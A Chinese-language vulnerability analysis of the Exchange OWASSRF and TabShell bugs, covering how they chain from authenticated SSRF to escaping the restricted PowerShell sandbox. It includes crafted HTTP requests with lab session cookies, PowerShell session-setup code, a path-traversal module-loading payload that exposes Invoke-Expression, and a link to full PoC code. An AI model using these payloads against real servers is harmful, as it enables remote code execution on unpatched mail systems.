背景介绍:
故事的起因国外一个安全研究团队发现一个漏洞在野外被利用,于是他们决定公开这两个漏洞利用链的详细分析,当然微软已在数周前发布了相应补丁。
这篇文章分享了该团队向MSRC报告的两个漏洞的详细信息:
- OWASSRF:
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-41080 - TabShell:
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-41076
如果你对漏洞分析细节没多大感兴趣,可直接拖至文末查看PoC代码:
OWASSRF漏洞:
实际上在一年多前的 Pwn2own 活动时就知道了这两个 SSRF 漏洞(Autodiscover 和 OWA),但是 Autodiscover SSRF当时还没有修复,因此并没有报告OWA SSRF(直到 ProxyNotShell 最近在野外被利用),因此推测微软之所以没有修复 SSRF 漏洞的原因可能是因为仅靠 SSRF 无法产生真正的影响。
OWASSRF 的 PoC 其实很简单,请求如下:
GET /owa/test%40gmail.com/xxxxxxxx HTTP/1.1
Host: 192.168.137.211
User-Agent: python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
X-OWA-ExplicitLogonUser: owa/test@gmail.com
Cookie: <CHANGE HERE>
当向前端的 /owa 端点发送请求时,
OwaProxyRequestHandler.GetTargetBackEndServerUrl 被调用来计算要发送到后端请求的URL。
然后调用
OwaEcpProxyRequestHandler.GetClientUrlForProxy 该函数的代码如下:
protected override UriBuilder GetClientUrlForProxy()
{
UriBuilder uriBuilder = new UriBuilder(base.ClientRequest.Url.OriginalString);
if (this.IsExplicitSignOn && !UrlUtilities.IsOwaDownloadRequest(base.ClientRequest.Url))
{
uriBuilder.Path = UrlHelper.RemoveExplicitLogonFromUrlAbsolutePath(HttpUtility.UrlDecode(base.ClientRequest.Url.AbsolutePath), HttpUtility.UrlDecode(this.ExplicitSignOnAddress));
}
return uriBuilder;
}
public static string RemoveExplicitLogonFromUrlAbsolutePath(string absolutePath, string explicitLogonAddress)
{
ArgumentValidator.ThrowIfNull("absolutePath", absolutePath);
ArgumentValidator.ThrowIfNull("explicitLogonAddress", explicitLogonAddress);
return absolutePath.Replace("/" + explicitLogonAddress, string.Empty);
}
可以看出,调用 UrlHelper.RemoveExplicitLogonFromUrlAbsolutePath 从请求路径中删除了 this.ExplicitSignOnAddress。
漏洞在于我们可以通过在标头 X-OWA-ExplicitLogonUser 发送它来设置 this.ExplicitSignOnAddress。
所以通过将其设置为以owa/开头的电子邮件(如:owa/test@gmail.com)并请求
url:/owa/test%40gmail.com/mapi/nspi,OwaEcpProxyRequestHandler.GetClientUrlForProxy 将帮助我们删除 url 中的 owa/test%40gmail.com,并将请求发送到后端服务器上的 /mapi/nspi,这就为我们提供了经过身份验证的 SSRF 漏洞。
利用该漏洞向/mapi/nspi发送的请求的示例如下:
GET /owa/test%40gmail.com/mapi/nspi HTTP/1.1
Host: 192.168.137.211
User-Agent: python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
X-OWA-ExplicitLogonUser: owa/test@gmail.com
Cookie: X-BackEndCookie=S-1-5-21-2656093215-258796493-3715049920-2601=u56Lnp2ejJqByMvJx56ZzMfSysnNm9LLz56c0seZzc/Sy83NyMfLnJ6dzM7MgYHNz83N0s7O0s7Nq87Oxc7PxczO; ClientId=C4179E2222DB4C648C0530180ADCE3A0; UC=cc8eb85baefa4004adb4cd6d50c355bc; X-OWA-CANARY=18H5f0RJdkCnKMAISZanZsBJI4sLrdoI1D0hGp4YBYyT0SL9SYLOebRwnbI1mp6PFStIHY5u6cE.; cadata=v6LoKl833IfszAjlUg3mgrWwYrQQ/vlWtLwGA5OyLe5LEtpdQvRz9f21cv1W61dKDMpdaB5y5NShqEIkyz64ncsYlo+Mt48GPt6nr0lR3Cs=; cadataIV=B5rzxVbcOv5fmn2QArN/0f39crVSwpfgJ6VFy8ozXvjc190bG2gRaOsxamCiz1zResFRhaCud0ompb17UQI8O9INGSgwdFVdO3gbrKN3wZt0/XoLw1ef6N0ji5M9/iSxenrmdHyE/L1i+I04hyXXkq6lrP3OIzzy4WgGFMDEza4+cpQSjkvArLwnJ7tF9EuNrIR96sg5I60nbGjruS7bxkHz6bezHLhiPotgn8MKA0eBfNeBryCmxJLt+xcdFF6YnHnTA1meovv9vDeEDhImwolOGZQ7kqYrxQzSoJr1A+6gFpExChdQpAmxQivlBuKEBDKT+utHdXT907pxpBZMuw==; cadataKey=fLQs1PepeFD7WADMiie4T8594qyKT76zPED/yrfLDafZqCtwSR86OCP0M3d7oywrQLOegrQqVkufd4BmBOf1iAwBOib2FuB2mukPwIKFtUb6bqYbRYTbN2c+bfLsYt2EdQCulz17y8mjRBzrSju4FvuNVAjMNNiRYnn1dEGTYkl2enZfjf3kp2M6EIqux33qPs93LZmsYnNx9Tu4uh6KXh35hp39e81Zu46fMD6ZwLQ/BDAtZkZTQ5DlZ42sur75CMN1ReMAMpzNFDoxaCKPD7XXKxF7CzqwWI0V8GE3pN9YKJRPXmWgP0Jp3K1z0KwhBJEcrLbftAlTgGJb4/9jXQ==; cadataSig=FyQoA9mAw0xeEdo8JlWBHnNLVo+nB4OY1YFrGQc+wy8=; cadataTTL=YqBmg7U9pNe8h8FjnG55YA==
更具体地说,对于SSRF,发送到后端的请求使用我们用于向前端进行身份验证的账户进行身份验证,在例子中,前端是受害者,通过观察服务器响应中的User字段基本可以确认:
<html>
<head>
<title>Exchange MAPI/HTTP Connectivity Endpoint</title>
</head>
<body>
<p>Exchange MAPI/HTTP Connectivity Endpoint<br><br>Version: 15.2.1118.15<br>
Vdir Path: /mapi/nspi/<br><br></p><p><b>User:</b> MYCORP\victim<br>
<b>UPN:</b> <br><b>SID:</b> S-1-5-21-2656093215-258796493-3715049920-2601<br><b>Organization:</b> <br>
<b>Authentication:</b> Basic<br>
<b>PUID:</b> <br>
<b>TenantGuid::</b> </p><br>
<p><b>Cafe:</b> win-9i2q3pvpkvp.mycorp.lab<br>
<b>Mailbox:</b> win-9i2q3pvpkvp.mycorp.lab</p><p><br><br><br>
<b>Created:</b> 10/13/2022 12:42:55 PM</p>
</body></html>
通过利用该漏洞,我们可以到达后端的其他端点,例如 /powershell,这使得我们能够与通常无法利用远程主机访问的 Exchange 远程 Powershell 进行交互。
TabShell漏洞:
Exchange Server和Exchange Online具有PowerShell远程处理功能,允许普通用户使用沙箱进行远程处理会话(普通用户只能运行一些Exchange cmdlet),TabShell 漏洞将展示一种巧妙的方法来逃离沙箱以运行任意cmdlet。
Skype for Business Server也具有PowerShell远程处理功能,但攻击者至少是HelpDesk用户组中的一员才行。
该漏洞实际上包括几个阶段(以下详细分析适用于本地部署的Exchange Server版本)。
步骤1-为普通Exchange用户创建受限的PowerShell会话
创建会话的 PowerShell 片段:
$secureString = ConvertTo-SecureString -String "xxxxxxxx" -AsPlainText -Force
$UserCredential = New-Object System.Management.Automation.PSCredential -ArgumentList "mycorp\victim", $secureString
$sessionOption = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri https://x.x.x.x/powershell/ -Credential $UserCredential -Authentication Basic -AllowRedirection -SessionOption $sessionOption
在会话中运行命令:
Invoke-Command -Session $Session -ScriptBlock {get-mailbox}
该会话非常受限:
- 我们不能运行像 Invoke-Expression 这样的任意命令,只能运行一些白名单的Exchange cmdlets + 一些核心 cmdlets,如 Get-Command,Get-Help
- 由于 LanguageMode=NoLanguage,我们无法运行完整的 PowerShell 脚本,只能运行带有参数的简单 cmdlet
- 我们可以通过运行 Get-Command 获取可用的公共 cmdlet 列表
这个受限的 PowerShell 会话是由Runspace的特点决定的,具体可以参考:
https://learn.microsoft.com/en-us/powershell/scripting/developer/hosting/creating-runspaces?view=powershell-7.3
步骤2-在Runspace中启用TabExpansion
首先,该团队审计了所有核心cmdlet以找到一个漏洞,经过一周的研究,几乎差点就成功了,但最终还是失败了。
接下来,他们开始尝试扩展攻击面,然后发现了一个秘密功能:TabExpansion。
在创建PowerShell会话时,可以传递ApplicationArguments
如果传递的 WSManStackVersion < 3.0,那么就可以在 initialSessionState 中启用公共 TabExpansion 函数,这样就可以在受限的 PowerShell 会话中调用它了。
类:System.Management.Automation.Remoting.ServerRemoteSession
方法:HandleCreateRunspacePool
这是用公共TabExpansion创建会话的PowerShell代码片段
$secureString = ConvertTo-SecureString -String "xxxxxx" -AsPlainText -Force
$UserCredential = New-Object System.Management.Automation.PSCredential -ArgumentList "mycorp\victim", $secureString
$version = New-Object -TypeName System.Version -ArgumentList "2.0"
$mytable = $PSversionTable
$mytable["WSManStackVersion"] = $version
$sessionOption = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck -ApplicationArguments @{PSversionTable=$mytable}
$Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri https://x.x.x.x/powershell/ -Credential $UserCredential -Authentication Basic -AllowRedirection -SessionOption $sessionOption
在会话中运行命令:
Invoke-Command -Session $Session -ScriptBlock {TabExpansion -line "test" -lastWord "test"}
以下是TabExpansion的代码:
https://gist.github.com/rskvp93/4158ac74eb9b583e7577f9cf4d72e155
因此在该阶段,我们有公共 TabExpansion 功能,可以用来审计该功能来挖掘命令注入漏洞,虽然看到了一些 Invoke-Expression 调用,但无法将其变成真正的漏洞。
步骤3-使用TabExpansion函数调用带有任意名称参数的Get-Command cmdlet
由于无法直接利用 TabExpansion 函数。但可以使 TabExpansion 函数调用带有任意 -名称参数的 Get-Command,那么为什么我们不直接调用 Get-Command 呢?这样的好处是内部调用比直接调用更为强大。
下面是PoC的部分代码片段:
TabExpansion -line ";NetTCPIP\Test-NetConnection" -lastWord "-test"
该函数将解析line参数并调用:
Get-Command NetTCPIP\Test-NetConnection
步骤4-使用 Get-Command 通过 Import-Module 加载任意模块
Get-Command cmdlet 具有 PowerShell 3.0 的自动加载模块功能:
这个功能的完整实现比较复杂,下面说明相关代码:
源代码在
System.Management.Automation.CommandDiscovery 类和 LookupCommandInfo 方法中
首先使用 TryNormalSearch 方法,如果未找到 commandInfo,将调用 TryModuleAutoLoading 方法。
在TryModuleAutoLoading方法中,会从commandName中解析出modulename(text2变量)
然后将使用 AutoloadSpecifiedModule 方法加载模块:
这里有趣的是 Import-Module cmdlet 的可见性是私有的,但它在 Get-Command cmdlet 中被内部调用,因此 CommandOrigin 是内部的,并且在沙箱中不受限制。
为了加载 NetTCPIP 模块,运行以下函数:
Invoke-Command -Session $Session -ScriptBlock { TabExpansion -line ";NetTCPIP\Test-NetConnection" -lastWord "-test" }
这将调用cmdlet: Import-Module-name NetTCPIP
步骤5-使用路径遍历从DLL加载模块并将公共cmdlet导入当前会话
在步骤4中,我们可以通过PSModulePath中的模块名加载任意模块:
C:Program FilesWindowsPowerShellModules
C:Windowssystem32WindowsPowerShellv1.0Modules)
但是在深入研究 Import-Module cmdlet 之后,发现可以使用路径遍历从文件系统中加载任意DLL模块。
Payload如下:
Invoke-Command -Session $Session -ScriptBlock {
TabExpansion -line ";../../../../Windows/Microsoft.NET/assembly/GAC_MSIL/Microsoft.PowerShell.Commands.Utility/v4.0_3.0.0.0__31bf3856ad364e35/Microsoft.PowerShell.Commands.Utility.dll\Invoke-Expression" -lastWord "-test"
}
调用栈如下:
Import-Module cmdlet 相当复杂,它支持多种模块加载(模块清单文件 .psd1 、PowerShell 脚本文件 .ps1、带有 cmdlet 的托管dll文件 .dll)
通过使用以 .dll 结尾的模块名称,我们可以使 Import-Module cmdlet 转到 LoadBinaryModule 方法,它将加载 dll 并将该模块中的所有 cmdlet 导入当前会话。
神奇的是所有 cmdlet 都将以公开可见的方式导入,所以它们可以在这之后被调用。
在上面的Payload中,加载了包含
Invoke-Expression cmdlet 的模块 Microsoft.PowerShell.Commands.Utility.dll 。
以下是调用导入的Invoke-Expression cmdlet的命令:
Invoke-Command $session {Microsoft.PowerShell.Commands.Utility\Invoke-Expression "[System.Security.Principal.WindowsIdentity]::GetCurrent().Name" }
此刻开始,我们就可以使用Invoke-Expression来运行任意PowerShell脚本了,而且不会受到任何限制。
Demo:
我们可以使用本地 Exchange、 Exchange Online 和 Skype for Business Server 运行该漏洞。
本地 Exchange 需要使用 OWASSRF 漏洞来访问 PowerShell 远程处理端点。
Exchange Online 需要具有公共 PowerShell 远程处理端点。
Skype for Business 服务器需要具有公共 PowerShell 远程处理端点,但默认情况下至少需要 HelpDesk 组权限。
普通用户在本地 Exchange 的视频演示(自行FQ观看):
PoC完整利用代码:
https://gist.github.com/testanull/518871a2e2057caa2bc9c6ae6634103e